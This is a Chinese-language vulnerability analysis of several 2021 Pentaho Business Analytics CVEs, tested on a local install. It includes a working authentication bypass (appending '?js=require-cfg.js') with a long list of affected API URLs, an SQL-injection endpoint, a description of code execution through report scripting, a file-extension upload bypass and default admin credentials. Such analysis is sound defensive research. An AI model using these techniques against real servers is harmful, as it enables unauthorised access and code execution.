Pentaho Business Analytics CVE-2021-31599命令执行等系列漏洞分析
漏洞信息
Pentaho Business Analytics商业分析解决方案提供现代化的、简单和交互式的方式,使商业用户可以访问、挖掘和混合所有类型和大小的数据。由于先进的分析方案越来越多,从基本的报表到预测建模,用户可以从多个维度分析和可视化数据,并且最大限度减小对IT的依赖。同时,实际的移动设计体验使得用户无论身处何地,都有很高的工作效率。
该软件最近爆出存在未授权认证SQL注入等一系列漏洞,主要信息如下:
- CVE-2021-31599 (CVSS score: 9.9) - Remote Code Execution through Pentaho Report Bundles
- CVE-2021-31600 (CVSS score: 4.3) - Jackrabbit User Enumeration
- CVE-2021-31601 (CVSS score: 7.1) - Insufficient Access Control of Data Source Management
- CVE-2021-31602 (CVSS score: 5.3) - Authentication Bypass of Spring APIs
- CVE-2021-34684 (CVSS score: 9.8) - Unauthenticated SQL Injection
- CVE-2021-34685 (CVSS score: 2.7) - Bypass of Filename Extension Restrictions
可以从官网下载相关版本进行环境搭建,安装完毕后默认管理员账密为`admin:Password`,启动软件:
使用`start-pentaho-debug.bat`手动启动服务可远程进行调试,端口为8044。
CVE-2021-31602
`C:\Pentaho\server\pentaho-server\pentaho-solutions\system\applicationContext-spring-security.xml`定义了API接口的处理规则,注意到其中以`*require-cfg.js`结尾的接口可以以`Anonymous`身份访问。
登录页面,许多js都是以`require-cfg.js`结尾,应该是为了考虑静态文件访问而添加了对应的规则。
找一个API请求,在URL后添加`js=require-cfg.js`,成功绕过认证。
列举出一些API列表。
http://localhost:8080/pentaho/api/version/show?js=require-cfg.jshttp://localhost:8080/pentaho/api/version/softwareUpdates?js=require-cfg.jshttp://localhost:8080/pentaho/api/emailconfig/isValid?js=require-cfg.jshttp://localhost:8080/pentaho/api/authorization/action/isauthorized?js=require-cfg.jshttp://localhost:8080/pentaho/api/userroledao/userRoles?js=require-cfg.jshttp://localhost:8080/pentaho/api/system/locale?js=require-cfg.jshttp://localhost:8080/pentaho/api/system/timezones?js=require-cfg.jshttp://localhost:8080/pentaho/api/system/executableTypes?js=require-cfg.jshttp://localhost:8080/pentaho/api/theme/list?js=require-cfg.jshttp://localhost:8080/pentaho/api/theme/active?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/users?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/roles?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/allRoles?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/systemRoles?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/extraRoles?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/permission-users?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/permission-roles?js=require-cfg.jshttp://localhost:8080/pentaho/api/scheduler/state?js=require-cfg.jshttp://localhost:8080/pentaho/api/scheduler/jobinfotest?js=require-cfg.jshttp://localhost:8080/pentaho/api/scheduler/blockout/blockoutjobs?js=require-cfg.jshttp://localhost:8080/pentaho/api/scheduler/blockout/hasblockouts?js=require-cfg.jshttp://localhost:8080/pentaho/api/scheduler/blockout/shouldFireNow?js=require-cfg.jshttp://localhost:8080/pentaho/api/scheduler/generatedContentForSchedule?js=require-cfg.jshttp://localhost:8080/pentaho/api/repos/executableTypes?js=require-cfg.jshttp://localhost:8080/pentaho/api/plugin-manager/overlays?js=require-cfg.jshttp://localhost:8080/pentaho/api/mantle/locale?js=require-cfg.jshttp://localhost:8080/pentaho/api/mantle/isAuthenticated?js=require-cfg.jshttp://localhost:8080/pentaho/api/mantle/getAdminContent?js=require-cfg.jshttp://localhost:8080/pentaho/api/mantle/settings?js=require-cfg.jshttp://localhost:8080/pentaho/api/mantle/registeredPlugins?js=require-cfg.jshttp://localhost:8080/pentaho/api/service/assignment?js=require-cfg.jshttp://localhost:8080/pentaho/api/repo/files/reservedCharacters?js=require-cfg.jshttp://localhost:8080/pentaho/api/repo/files/generatedContentForSchedule?js=require-cfg.jshttp://localhost:8080/pentaho/api/repo/files/canAdminister?js=require-cfg.jshttp://localhost:8080/pentaho/api/repo/files/reservedCharactersDisplay?js=require-cfg.jshttp://localhost:8080/pentaho/api/session/userName?js=require-cfg.jshttp://localhost:8080/pentaho/api/session/workspaceDirForUser/{user}?js=require-cfg.jshttp://localhost:8080/pentaho/api/session/setredirect?js=require-cfg.jshttp://localhost:8080/pentaho/api/session/userWorkspaceDir?js=require-cfg.js
CVE-2021-34684
`/pentaho/api/repos/dashboards/editor`接口可执行SQL语句。
CVE-2021-31599
使用`Pentaho Business Analytics`支持报表功能设计和保存功能,可以通过WEB上传并编辑Report报表,名称为`Pentaho Report`文件。
使用`\pentaho\design-tools\report-designer\report-designer.exe`程序可对PRPT文件进行设计,后缀名为PRPT。
打开`Pie.prpt`示例文件,双击饼图找到Scripting设置项目。
支持的语法有`beanshell`、`groovy`等,这里使用beanshell,输入语句。保存文件使用网页打开。
命令被成功运行,权限为`Local Service`。
可以使用groovy语法直接获取webshell。
CVE-2021-31600
用户认证后可以获取用户列表,CVE-2021-31602无法绕过本接口。
CVE-2021-31601
用户认证后可获取用户配置信息,CVE-2021-31602无法绕过本接口。
CVE-2021-34685
使用`UploadService`接口对文件上传后缀名做了限制,但可以使用`filename.jsp.`绕过检查,最后在`\server\pentaho-server\pentaho-solutions\system\metadata\csvfiles`目录下写入jsp文件,由于无法目录穿越,漏洞影响有限。
小结
1、从实测效果来看,认证绕过漏洞适用的API范围还是比较广的,但针对某些核心业务接口在后续业务处理时会出错,导致能执行的功能有限。以`报告文件`上传接口为例,可以绕过检查,但服务器在后续处理时由于定位不到用户`ID`,只能报错退出。
2、创建用户接口不会返回401错误,但无法创建用户。
3、默认`anonymousUser`在`jackrabbit`认证时出错,不具备workspace访问权限,这也导致很多接口无法正常执行功能。
